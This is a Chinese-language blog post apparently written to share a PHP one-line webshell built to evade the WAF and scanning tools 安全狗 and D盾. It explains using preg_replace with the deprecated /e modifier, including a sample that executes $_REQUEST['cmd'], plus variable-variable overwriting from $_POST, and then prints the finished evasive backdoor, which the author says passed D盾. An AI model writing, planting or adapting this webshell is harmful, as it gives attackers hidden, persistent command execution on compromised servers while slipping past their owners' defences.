首先说下WAF的正则 安全狗: 匹配关键字 ,出现就直接杀。 D盾:一些常规查杀,并且如果出现$xxx($yyy); 也会直接查杀,哪怕你明确的给$xxx赋一个毫无危害的值 ........................................ 我们的目标是打造一枚过全网WAF的马子 so..... 要求: //为了让马子存活的时间尽可能地长 1.最好不要出现敏感函数,也不要采取字符串拼接// 防安全狗 2.尽量不要采取变量函数 //其实某些对变量函数的巧妙构造也可以绕过D盾的查杀,但为了存活时间长久,不采用变量函数 3.如果查杀工具认为你无法给这个程序代码传任何数据,那么某个方面来讲,他可能就会认为你是无毒的。 4.马子能执行命令!//最重要的一点 以上! 提取以上要求的主要内容, 不用明文的敏感函数 如: assert eval 不用变量函数 如: $a($b) 让你的代码变得难以理解,以至于WAF认为你无法传参。 能用! 知识梳理: 1.经过查询 我知道了关于PHP代码执行的一些姿势,不止局限于assert eval ,其实某些正常的函数通过不正常的传参也能执行代码。 选取这类函数中的一种//这些函数的总结会在末尾放出 @preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) //搜索subject中匹配pattern的部分, 以replacement进行替换。 相当正常的一个函数,开发中会用到,但它却会导致命令执行 preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码 (这个特性在php5.5版本号以上 就废弃了) 示例代码: <?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); //将abcd中包含abc的部分替换成$_REQUEST['cmd'] 并且执行他 ?> 就用它来完成我们的主体 2. $_POST这个东西大家都不陌生 $_POST['X']的意思也不用我多说, 但这里我要提出一点,大家是否注意到了$_POST的类型,有变量符修饰,用[]访问, 不错 这是一个数组! 数组通过foreach可以访问它其中的所有名和值 格式如下 foreach ($数组名 as $key => $value) {} //key是名,value是值,他会遍历出数组内的所有数据。 3.有关PHP的变量覆盖: $a = 1 ; $b = 'a' ; $$b = 'Surprise!'; (前面多加一个$把$b的内容当成变量名) echo $a ; 会输出Surprise! 具体原理相信大家都能理解 、 其实到这里有人已经能猜到我要做什么了,我个人喜欢把理解性的东西留给大家,这样才能更好地进步,本个马子用到的全部知识都说完了。 接下来会直接贴出马子 //希望大家能独立地理清本个马 贴出代码: <?php foreach ($_POST as $key => $value) { $$key = $value ; } @preg_replace("/".$$key."/e",$$key,$value); ?> 有关本马的一点劣势:任意密码都可以连接。 PS:本人实测过D盾,至于安全狗是否可以建议大家去试一下 TCV:看管理大大心情吧 |
一枚过WAF的一句话的编写(加入自己的笔记)
最新推荐文章于 2021-05-25 15:30:57 发布